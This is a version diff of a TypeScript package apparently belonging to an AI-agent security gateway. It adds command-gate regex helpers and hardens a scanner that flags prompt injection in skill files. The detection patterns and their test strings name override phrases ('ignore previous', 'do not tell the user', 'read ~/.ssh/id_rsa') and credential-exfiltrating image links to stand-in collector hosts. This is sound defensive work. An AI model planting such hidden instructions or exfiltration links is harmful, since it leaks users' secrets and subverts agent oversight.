@intutic/shared-types 2.2.0 → 2.3.0

package/dist/ruleLoadFailures.js

@@ -0,0 +1,26 @@
+"use strict";
+/**
+ * Why a proxy refused to load a custom (WASM or Rego) rule version. The Rust
+ * proxy files a control-plane rule it refuses under one of these, and the
+ * control plane opens the incident with it; the MCP proxy, which loads only
+ * local rule files, logs the same names. One list, so a reason means the same
+ * thing wherever it is read.
+ *
+ * @module
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.RULE_LOAD_FAILURE_TEXT = exports.RULE_LOAD_FAILURE_REASONS = void 0;
+exports.isRuleLoadFailureReason = isRuleLoadFailureReason;
+exports.RULE_LOAD_FAILURE_REASONS = ['missing', 'hash_mismatch', 'compile_error', 'unsupported_import', 'load_error'];
+/** What each reason means, as an incident or a log states it. */
+exports.RULE_LOAD_FAILURE_TEXT = {
+    missing: 'its binary is missing',
+    hash_mismatch: 'its binary does not hash to the SHA-256 its descriptor names',
+    compile_error: 'its binary is not a WebAssembly module the proxy compiles',
+    unsupported_import: 'it imports a host function the proxy does not provide',
+    load_error: 'the proxy cannot run it, such as an OPA build using a builtin the host does not provide',
+};
+function isRuleLoadFailureReason(value) {
+    return exports.RULE_LOAD_FAILURE_REASONS.includes(value);
+}
+//# sourceMappingURL=ruleLoadFailures.js.map

package/dist/ruleLoadFailures.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"ruleLoadFailures.js","sourceRoot":"","sources":["../src/ruleLoadFailures.ts"],"names":[],"mappings":";AAAA;;;;;;;;GAQG;;;AAeH,0DAEC;AAfY,QAAA,yBAAyB,GAAG,CAAC,SAAS,EAAE,eAAe,EAAE,eAAe,EAAE,oBAAoB,EAAE,YAAY,CAAU,CAAA;AAInI,iEAAiE;AACpD,QAAA,sBAAsB,GAA0C;IAC3E,OAAO,EAAE,uBAAuB;IAChC,aAAa,EAAE,8DAA8D;IAC7E,aAAa,EAAE,2DAA2D;IAC1E,kBAAkB,EAAE,uDAAuD;IAC3E,UAAU,EAAE,yFAAyF;CACtG,CAAA;AAED,SAAgB,uBAAuB,CAAC,KAAc;IACpD,OAAQ,iCAAgD,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC1E,CAAC"}

package/dist/scriptScan.d.ts

@@ -7,8 +7,8 @@
  *
  * `skillScan.ts` scans `SKILL.md` — markdown PROSE — for imperative
  * instruction shapes ("do not tell the user", "read ~/.ssh/id_rsa"). That
- * genre does not describe arbitrary source code, which is why TD-356
- * (`docs/TECH_DEBT.md`) explicitly deferred bundled-script scanning out of
+ * genre does not describe arbitrary source code, which is why bundled-script
+ * scanning was explicitly deferred out of
  * the phase that built `skillScan.ts`, rather than bolting a second, unrelated
  * detector onto it. This module is that deferred work, Phase S2. It reuses
  * `skillScan.ts`'s pattern shape ({@link SkillScanPattern}), its 3-category
@@ -122,7 +122,7 @@ export declare const MAX_FILES_PER_SKILL = 40;
 export declare const MAX_SCRIPT_SCAN_BYTES = 262144;
 /**
  * 8 MiB. Largest bundled file the sync daemon will read to sha256-hash for
- * its `scripts` facet (TD-486). Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
+ * its `scripts` facet. Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
  * purpose: a file too big to content-scan is still worth a hash-only
  * VirusTotal lookup. A file over this cap is counted in `total` and neither
  * hashed nor scanned — the daemon re-walks every skill on every sync cycle,
@@ -148,9 +148,9 @@ export interface SkillScriptsFacet {
     /**
      * sha256 (lowercase hex) of each bundled file the daemon could read
      * within {@link MAX_SCRIPT_HASH_BYTES}, one entry per file in walk order
-     * (TD-486). Hashes only — file content never leaves the machine. The
+     * Hashes only — file content never leaves the machine. The
      * control plane joins VirusTotal verdicts to the skill on these. ABSENT
-     * (not empty) from a daemon build that predates TD-486; the control
+     * (not empty) from a daemon build that predates script hashing; the control
      * plane falls back to a name-keyed join only in that case. An empty
      * array means nothing was hashable, and gets no fallback.
      */

package/dist/scriptScan.js

@@ -8,8 +8,8 @@
  *
  * `skillScan.ts` scans `SKILL.md` — markdown PROSE — for imperative
  * instruction shapes ("do not tell the user", "read ~/.ssh/id_rsa"). That
- * genre does not describe arbitrary source code, which is why TD-356
- * (`docs/TECH_DEBT.md`) explicitly deferred bundled-script scanning out of
+ * genre does not describe arbitrary source code, which is why bundled-script
+ * scanning was explicitly deferred out of
  * the phase that built `skillScan.ts`, rather than bolting a second, unrelated
  * detector onto it. This module is that deferred work, Phase S2. It reuses
  * `skillScan.ts`'s pattern shape ({@link SkillScanPattern}), its 3-category
@@ -77,7 +77,7 @@ exports.MAX_FILES_PER_SKILL = 40;
 exports.MAX_SCRIPT_SCAN_BYTES = 262_144;
 /**
  * 8 MiB. Largest bundled file the sync daemon will read to sha256-hash for
- * its `scripts` facet (TD-486). Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
+ * its `scripts` facet. Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
  * purpose: a file too big to content-scan is still worth a hash-only
  * VirusTotal lookup. A file over this cap is counted in `total` and neither
  * hashed nor scanned — the daemon re-walks every skill on every sync cycle,

package/dist/sequence.d.ts

@@ -0,0 +1,52 @@
+/**
+ * Sequence rules: a gate rule `A.*B` run as "find A, then find B after it" in
+ * linear time.
+ *
+ * A rule like ` git .*reset +--hard` is a regex. `grep -E` runs it as an
+ * automaton, in time linear in the command. JavaScript's and Python's engines
+ * backtrack: for every ` git ` they try every end of `.*`, so 200 KB of
+ * ` git git git …` took 9.5 s, which is past the point where a harness that
+ * treats a hook timeout as "allow" runs the call. A rule marked `sequence`
+ * (`s` in a `.rules` line's flags column) is the same regex, read differently:
+ *
+ * - its top-level `|` alternatives are tried in turn;
+ * - each alternative is cut at its top-level `.*` into steps;
+ * - each step is searched for once, starting where the previous one ended.
+ *
+ * Each search is one pass over the text, so a rule costs at most its number of
+ * steps times the length of the text. It means the same as the regex provided
+ * the first match of every step but the last also ends first, which holds for
+ * every step the rule tables use: a step that starts and ends at a space with
+ * no space inside, or a fixed word. `.` does not match a newline and neither
+ * does a step search cross one in the regex, but the gates normalise every
+ * command subject to single spaces first, so there is none. A test fuzzes each
+ * sequence rule against its own regex.
+ *
+ * Self-contained on purpose — no imports, no module state — because the
+ * JavaScript gates emit it as source ({@link SEQUENCE_JS_SOURCE}).
+ * `packages/gate-js/src/sequence.ts` is a byte-identical copy and
+ * `intutic_clawde/gate/sequence.py` a transliteration; all of them run
+ * `fixtures/gate-rule-vectors.json`.
+ *
+ * @module
+ */
+/**
+ * A sequence rule's source as alternatives of steps: split at every top-level
+ * `|`, then each alternative at every top-level `.*`. ` a .*b| c .*d` is
+ * `[[' a ', 'b'], [' c ', 'd']]`. Outside a group or a class only, so `(x|y)`
+ * stays inside its step. Empty steps are dropped.
+ */
+export declare function sequenceAlternatives(source: string): string[][];
+/**
+ * Compiles a sequence rule's source for {@link sequenceMatch}: each step with
+ * the `g` flag, which is what lets a search start at `lastIndex`.
+ */
+export declare function compileSequence(source: string, ignoreCase: boolean): RegExp[][];
+/** Whether `text` matches a compiled sequence rule: some alternative's steps occur in order. */
+export declare function sequenceMatch(alternatives: RegExp[][], text: string): boolean;
+/**
+ * The three functions as JavaScript source, for a gate to emit: the gates run
+ * this exact code, not a retyped copy.
+ */
+export declare const SEQUENCE_JS_SOURCE: string;
+//# sourceMappingURL=sequence.d.ts.map

package/dist/sequence.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"sequence.d.ts","sourceRoot":"","sources":["../src/sequence.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AAEH;;;;;GAKG;AACH,wBAAgB,oBAAoB,CAAC,MAAM,EAAE,MAAM,GAAG,MAAM,EAAE,EAAE,CA6C/D;AAED;;;GAGG;AACH,wBAAgB,eAAe,CAAC,MAAM,EAAE,MAAM,EAAE,UAAU,EAAE,OAAO,GAAG,MAAM,EAAE,EAAE,CAE/E;AAED,gGAAgG;AAChG,wBAAgB,aAAa,CAAC,YAAY,EAAE,MAAM,EAAE,EAAE,EAAE,IAAI,EAAE,MAAM,GAAG,OAAO,CAgB7E;AAED;;;GAGG;AACH,eAAO,MAAM,kBAAkB,QAAmG,CAAA"}

package/dist/sequence.js

@@ -0,0 +1,127 @@
+"use strict";
+/**
+ * Sequence rules: a gate rule `A.*B` run as "find A, then find B after it" in
+ * linear time.
+ *
+ * A rule like ` git .*reset +--hard` is a regex. `grep -E` runs it as an
+ * automaton, in time linear in the command. JavaScript's and Python's engines
+ * backtrack: for every ` git ` they try every end of `.*`, so 200 KB of
+ * ` git git git …` took 9.5 s, which is past the point where a harness that
+ * treats a hook timeout as "allow" runs the call. A rule marked `sequence`
+ * (`s` in a `.rules` line's flags column) is the same regex, read differently:
+ *
+ * - its top-level `|` alternatives are tried in turn;
+ * - each alternative is cut at its top-level `.*` into steps;
+ * - each step is searched for once, starting where the previous one ended.
+ *
+ * Each search is one pass over the text, so a rule costs at most its number of
+ * steps times the length of the text. It means the same as the regex provided
+ * the first match of every step but the last also ends first, which holds for
+ * every step the rule tables use: a step that starts and ends at a space with
+ * no space inside, or a fixed word. `.` does not match a newline and neither
+ * does a step search cross one in the regex, but the gates normalise every
+ * command subject to single spaces first, so there is none. A test fuzzes each
+ * sequence rule against its own regex.
+ *
+ * Self-contained on purpose — no imports, no module state — because the
+ * JavaScript gates emit it as source ({@link SEQUENCE_JS_SOURCE}).
+ * `packages/gate-js/src/sequence.ts` is a byte-identical copy and
+ * `intutic_clawde/gate/sequence.py` a transliteration; all of them run
+ * `fixtures/gate-rule-vectors.json`.
+ *
+ * @module
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.SEQUENCE_JS_SOURCE = void 0;
+exports.sequenceAlternatives = sequenceAlternatives;
+exports.compileSequence = compileSequence;
+exports.sequenceMatch = sequenceMatch;
+/**
+ * A sequence rule's source as alternatives of steps: split at every top-level
+ * `|`, then each alternative at every top-level `.*`. ` a .*b| c .*d` is
+ * `[[' a ', 'b'], [' c ', 'd']]`. Outside a group or a class only, so `(x|y)`
+ * stays inside its step. Empty steps are dropped.
+ */
+function sequenceAlternatives(source) {
+    const alternatives = [];
+    let steps = [];
+    let current = '';
+    let depth = 0;
+    let inClass = false;
+    for (let i = 0; i < source.length; i++) {
+        const c = source.charAt(i);
+        if (c === '\\') {
+            current += c + source.charAt(i + 1);
+            i++;
+            continue;
+        }
+        if (inClass) {
+            current += c;
+            if (c === ']')
+                inClass = false;
+            continue;
+        }
+        if (c === '[') {
+            inClass = true;
+            current += c;
+            if (source.charAt(i + 1) === '^')
+                current += source.charAt(++i);
+            if (source.charAt(i + 1) === ']')
+                current += source.charAt(++i);
+            continue;
+        }
+        if (c === '(')
+            depth++;
+        if (c === ')')
+            depth--;
+        if (depth === 0 && c === '|') {
+            steps.push(current);
+            alternatives.push(steps.filter((step) => step !== ''));
+            steps = [];
+            current = '';
+            continue;
+        }
+        if (depth === 0 && c === '.' && source.charAt(i + 1) === '*') {
+            steps.push(current);
+            current = '';
+            i++;
+            continue;
+        }
+        current += c;
+    }
+    steps.push(current);
+    alternatives.push(steps.filter((step) => step !== ''));
+    return alternatives;
+}
+/**
+ * Compiles a sequence rule's source for {@link sequenceMatch}: each step with
+ * the `g` flag, which is what lets a search start at `lastIndex`.
+ */
+function compileSequence(source, ignoreCase) {
+    return sequenceAlternatives(source).map((steps) => steps.map((step) => new RegExp(step, ignoreCase ? 'gi' : 'g')));
+}
+/** Whether `text` matches a compiled sequence rule: some alternative's steps occur in order. */
+function sequenceMatch(alternatives, text) {
+    for (const steps of alternatives) {
+        let pos = 0;
+        let ok = true;
+        for (const step of steps) {
+            step.lastIndex = pos;
+            const m = step.exec(text);
+            if (!m) {
+                ok = false;
+                break;
+            }
+            pos = m.index + m[0].length;
+        }
+        if (ok)
+            return true;
+    }
+    return false;
+}
+/**
+ * The three functions as JavaScript source, for a gate to emit: the gates run
+ * this exact code, not a retyped copy.
+ */
+exports.SEQUENCE_JS_SOURCE = `${sequenceAlternatives.toString()}\n${compileSequence.toString()}\n${sequenceMatch.toString()}`;
+//# sourceMappingURL=sequence.js.map

package/dist/sequence.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"sequence.js","sourceRoot":"","sources":["../src/sequence.ts"],"names":[],"mappings":"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"}

package/dist/session.d.ts

@@ -3,7 +3,7 @@
  *
  * These types correspond to the `agent_sessions` table and the
  * Valkey session checkpoint keys defined in
- * LLD 01-data-architecture §3.1 and §3.3.
+ * the data-architecture schema.
  *
  * HLD §4.5 (Session Tracking)
  *

package/dist/session.js

@@ -4,7 +4,7 @@
  *
  * These types correspond to the `agent_sessions` table and the
  * Valkey session checkpoint keys defined in
- * LLD 01-data-architecture §3.1 and §3.3.
+ * the data-architecture schema.
  *
  * HLD §4.5 (Session Tracking)
  *

package/dist/skillScan.d.ts

@@ -38,7 +38,7 @@
  * not allow…") that a tool description never does — precisely the shape
  * this module's patterns key on.
  *
- * **Measured since (TD-358):** `src/__tests__/corpus/skills/` vendors 350
+ * **Measured since:** `src/__tests__/corpus/skills/` vendors 350
  * real, benign `SKILL.md` files from four MIT/Apache-2.0 skill collections
  * at pinned commits (provenance, licences and bias statement in that
  * directory's `PROVENANCE.md`; the reviewed result in `BASELINE.txt`).
@@ -60,7 +60,7 @@
  * measurement is {@link SKILL_CONTENT_BLOCK_PATTERN_IDS}: the zero-hit
  * patterns, shipped to the tool-call gates through the sync daemon's policy
  * snapshot (`skill_content.*`, see `services/sync-daemon/src/lib/policySnapshot.ts`)
- * where one sync cycle retracts them. See `docs/TECH_DEBT.md` TD-358.
+ * where one sync cycle retracts them.
  *
  * # Fixture discipline
  *
@@ -99,7 +99,7 @@ export type SkillScanCategory = 'prompt_injection' | 'data_exfiltration' | 'mali
  * scanner (and `scriptScan.ts`'s, which reuses this union);
  * `'cisco-skill-scanner'` is the separate, opt-in Cisco `skill-scanner`
  * integration (Phase S3, `tools/cli/src/lib/ciscoScanner.ts`) — the
- * genuinely deeper AST/dataflow analysis TD-356 named as the eventual
+ * genuinely deeper AST/dataflow analysis long named as the eventual
  * follow-up to this phase's pattern matching. Optional, not required: a
  * finding from before this field existed has no engine tag, which is fine —
  * absence has always meant "this codebase's own scanner," now made explicit.

package/dist/skillScan.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"skillScan.d.ts","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2FG;AAEH;;4EAE4E;AAC5E,MAAM,MAAM,iBAAiB,GAAG,kBAAkB,GAAG,mBAAmB,GAAG,gBAAgB,CAAA;AAE3F;;;;;;;;;GASG;AACH,MAAM,MAAM,eAAe,GAAG,QAAQ,GAAG,qBAAqB,CAAA;AAE9D,oDAAoD;AACpD,MAAM,WAAW,gBAAgB;IAC/B,2EAA2E;IAC3E,EAAE,EAAE,MAAM,CAAA;IACV,QAAQ,EAAE,iBAAiB,CAAA;IAC3B,oFAAoF;IACpF,MAAM,EAAE,MAAM,CAAA;IACd,8EAA8E;IAC9E,WAAW,EAAE,MAAM,CAAA;IACnB,qEAAqE;IACrE,OAAO,EAAE,SAAS,MAAM,EAAE,CAAA;IAC1B;yCACqC;IACrC,UAAU,EAAE,SAAS,MAAM,EAAE,CAAA;CAC9B;AAED;;;;sEAIsE;AACtE,MAAM,WAAW,gBAAgB;IAC/B,SAAS,EAAE,MAAM,CAAA;IACjB,QAAQ,EAAE,iBAAiB,CAAA;IAC3B;sCACkC;IAClC,OAAO,CAAC,EAAE,MAAM,CAAA;IAChB,uEAAuE;IACvE,MAAM,CAAC,EAAE,eAAe,CAAA;CACzB;AAED,MAAM,WAAW,eAAe;IAC9B,0CAA0C;IAC1C,KAAK,EAAE,OAAO,CAAA;IACd,QAAQ,EAAE,gBAAgB,EAAE,CAAA;IAC5B,gDAAgD;IAChD,SAAS,EAAE,MAAM,CAAA;CAClB;AAED;;;;4DAI4D;AAC5D,eAAO,MAAM,cAAc,KAAK,CAAA;AAEhC;sEACsE;AACtE,wBAAgB,UAAU,CAAC,OAAO,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CASjF;AAED;;;;;;;;GAQG;AACH,eAAO,MAAM,mBAAmB,EAAE,SAAS,gBAAgB,EA8N1D,CAAA;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,eAAO,MAAM,+BAA+B,EAAE,SAAS,MAAM,EAU5D,CAAA;AAoED;;;;;;;;;;GAUG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,MAAM,GAAG,eAAe,CAcjE"}
+{"version":3,"file":"skillScan.d.ts","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2FG;AAEH;;4EAE4E;AAC5E,MAAM,MAAM,iBAAiB,GAAG,kBAAkB,GAAG,mBAAmB,GAAG,gBAAgB,CAAA;AAE3F;;;;;;;;;GASG;AACH,MAAM,MAAM,eAAe,GAAG,QAAQ,GAAG,qBAAqB,CAAA;AAE9D,oDAAoD;AACpD,MAAM,WAAW,gBAAgB;IAC/B,2EAA2E;IAC3E,EAAE,EAAE,MAAM,CAAA;IACV,QAAQ,EAAE,iBAAiB,CAAA;IAC3B,oFAAoF;IACpF,MAAM,EAAE,MAAM,CAAA;IACd,8EAA8E;IAC9E,WAAW,EAAE,MAAM,CAAA;IACnB,qEAAqE;IACrE,OAAO,EAAE,SAAS,MAAM,EAAE,CAAA;IAC1B;yCACqC;IACrC,UAAU,EAAE,SAAS,MAAM,EAAE,CAAA;CAC9B;AAED;;;;sEAIsE;AACtE,MAAM,WAAW,gBAAgB;IAC/B,SAAS,EAAE,MAAM,CAAA;IACjB,QAAQ,EAAE,iBAAiB,CAAA;IAC3B;sCACkC;IAClC,OAAO,CAAC,EAAE,MAAM,CAAA;IAChB,uEAAuE;IACvE,MAAM,CAAC,EAAE,eAAe,CAAA;CACzB;AAED,MAAM,WAAW,eAAe;IAC9B,0CAA0C;IAC1C,KAAK,EAAE,OAAO,CAAA;IACd,QAAQ,EAAE,gBAAgB,EAAE,CAAA;IAC5B,gDAAgD;IAChD,SAAS,EAAE,MAAM,CAAA;CAClB;AAED;;;;4DAI4D;AAC5D,eAAO,MAAM,cAAc,KAAK,CAAA;AAEhC;sEACsE;AACtE,wBAAgB,UAAU,CAAC,OAAO,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CASjF;AAED;;;;;;;;GAQG;AACH,eAAO,MAAM,mBAAmB,EAAE,SAAS,gBAAgB,EAqP1D,CAAA;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,eAAO,MAAM,+BAA+B,EAAE,SAAS,MAAM,EAU5D,CAAA;AAoED;;;;;;;;;;GAUG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,MAAM,GAAG,eAAe,CAcjE"}

package/dist/skillScan.js

@@ -39,7 +39,7 @@
  * not allow…") that a tool description never does — precisely the shape
  * this module's patterns key on.
  *
- * **Measured since (TD-358):** `src/__tests__/corpus/skills/` vendors 350
+ * **Measured since:** `src/__tests__/corpus/skills/` vendors 350
  * real, benign `SKILL.md` files from four MIT/Apache-2.0 skill collections
  * at pinned commits (provenance, licences and bias statement in that
  * directory's `PROVENANCE.md`; the reviewed result in `BASELINE.txt`).
@@ -61,7 +61,7 @@
  * measurement is {@link SKILL_CONTENT_BLOCK_PATTERN_IDS}: the zero-hit
  * patterns, shipped to the tool-call gates through the sync daemon's policy
  * snapshot (`skill_content.*`, see `services/sync-daemon/src/lib/policySnapshot.ts`)
- * where one sync cycle retracts them. See `docs/TECH_DEBT.md` TD-358.
+ * where one sync cycle retracts them.
  *
  * # Fixture discipline
  *
@@ -272,7 +272,14 @@ exports.SKILL_SCAN_PATTERNS = [
         // Requires an agent-directed imperative inside the comment, not just
         // any comment, to keep ordinary editorial comments ("TODO", "see style
         // guide") out of the false-positive set.
-        source: '<!--[\\s\\S]{0,200}?\\b(ignore\\s+(the\\s+)?(system\\s+prompt|previous)|secretly' +
+        //
+        // The lookahead after `<!--` is a necessary condition — the comment must
+        // close within 600 characters (200 before the imperative, the imperative,
+        // 200 after it) — checked once per comment. Without it each imperative in
+        // a comment that never closes scanned 200 characters for `-->`, and a
+        // crafted 256 KB file took a third of a second in Python. It misses only an
+        // imperative stretched past ~190 characters by whitespace between its words.
+        source: '<!--(?=[\\s\\S]{0,600}?-->)[\\s\\S]{0,200}?\\b(ignore\\s+(the\\s+)?(system\\s+prompt|previous)|secretly' +
             '|do\\s+not\\s+(tell|mention|reveal)|hidden\\s+instructions?)\\b[\\s\\S]{0,200}?-->',
         description: 'An HTML comment — invisible when the markdown renders — containing an agent-directed ' +
             'imperative, a place a human reviewer would not see it.',
@@ -293,13 +300,28 @@ exports.SKILL_SCAN_PATTERNS = [
         // a credential-shaped word is the classic image-based exfiltration
         // vector — an auto-rendered `![]()` fires an outbound request built
         // from the surrounding "instructions" with no user action required.
-        source: '!?\\[[^\\]]*\\]\\(\\s*https?://[^)\\s]*\\b(secret|token|password|api[_-]?key|credential|ssh)\\b[^)]*\\)',
+        //
+        // Written so a backtracking engine does each link once: the link text
+        // cannot contain `[` (a match from an inner `[` exists whenever one from an
+        // outer one does); the URL stops at `[` too, except for a bracketed IP
+        // host, so one link's URL scan never runs over the next link's; the first
+        // credential word in the URL is found inside a lookahead and kept
+        // (`(?=(…))\\1` cannot be re-entered), the rest of the URL is consumed the
+        // same way, and the link must close within 200 characters after the URL (a
+        // title). The unbounded version was cubic: 8 KB of `![x](http://a-secret-…`
+        // took a third of a second, 16 KB 2.5 s, and 256 KB of `[a](http://x`
+        // nearly two minutes in Python. It misses a credential word that comes
+        // after a raw `[` in the path or query, which RFC 3986 requires encoded.
+        source: '!?\\[[^\\[\\]]*\\]\\(\\s*https?://(?:\\[[^\\]\\s)]{0,64}\\])?' +
+            '(?=([^)\\s\\[]*?\\b(?:secret|token|password|api[_-]?key|credential|ssh)\\b))\\1' +
+            '(?=([^)\\s\\[]*))\\2[^)]{0,200}\\)',
         description: 'A markdown link or image whose URL itself names a credential-shaped value — the ' +
             'auto-rendered-image exfiltration vector, since an image fires an outbound request with ' +
             'no user action.',
         matches: [
             '![status](https://collector.example.com/log?token=SECRET_VALUE)',
             'See [details](http://collector.example/report?api_key=xyz) for more.',
+            '![x](http://[2001:db8::1]:8080/c?ssh=KEY)',
         ],
         notMatches: [
             '![logo](https://example.com/assets/logo.png)',

package/dist/skillScan.js.map

@@ -1 +1 @@
-{"version":3,"file":"skillScan.js","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2FG;;;AAmEH,gCASC;AAsVD,4CAcC;AAtXD;;;;4DAI4D;AAC/C,QAAA,cAAc,GAAG,EAAE,CAAA;AAEhC;sEACsE;AACtE,SAAgB,UAAU,CAAC,OAAe,EAAE,KAAa,EAAE,MAAc;IACvE,MAAM,KAAK,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,KAAK,GAAG,sBAAc,CAAC,CAAA;IACjD,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,MAAM,EAAE,KAAK,GAAG,MAAM,GAAG,sBAAc,CAAC,CAAA;IACrE,MAAM,MAAM,GAAG,KAAK,GAAG,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAA;IACnC,MAAM,MAAM,GAAG,GAAG,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAA;IAC9C,0EAA0E;IAC1E,gDAAgD;IAChD,MAAM,GAAG,GAAG,OAAO,CAAC,KAAK,CAAC,KAAK,EAAE,GAAG,CAAC,CAAC,OAAO,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC,IAAI,EAAE,CAAA;IACjE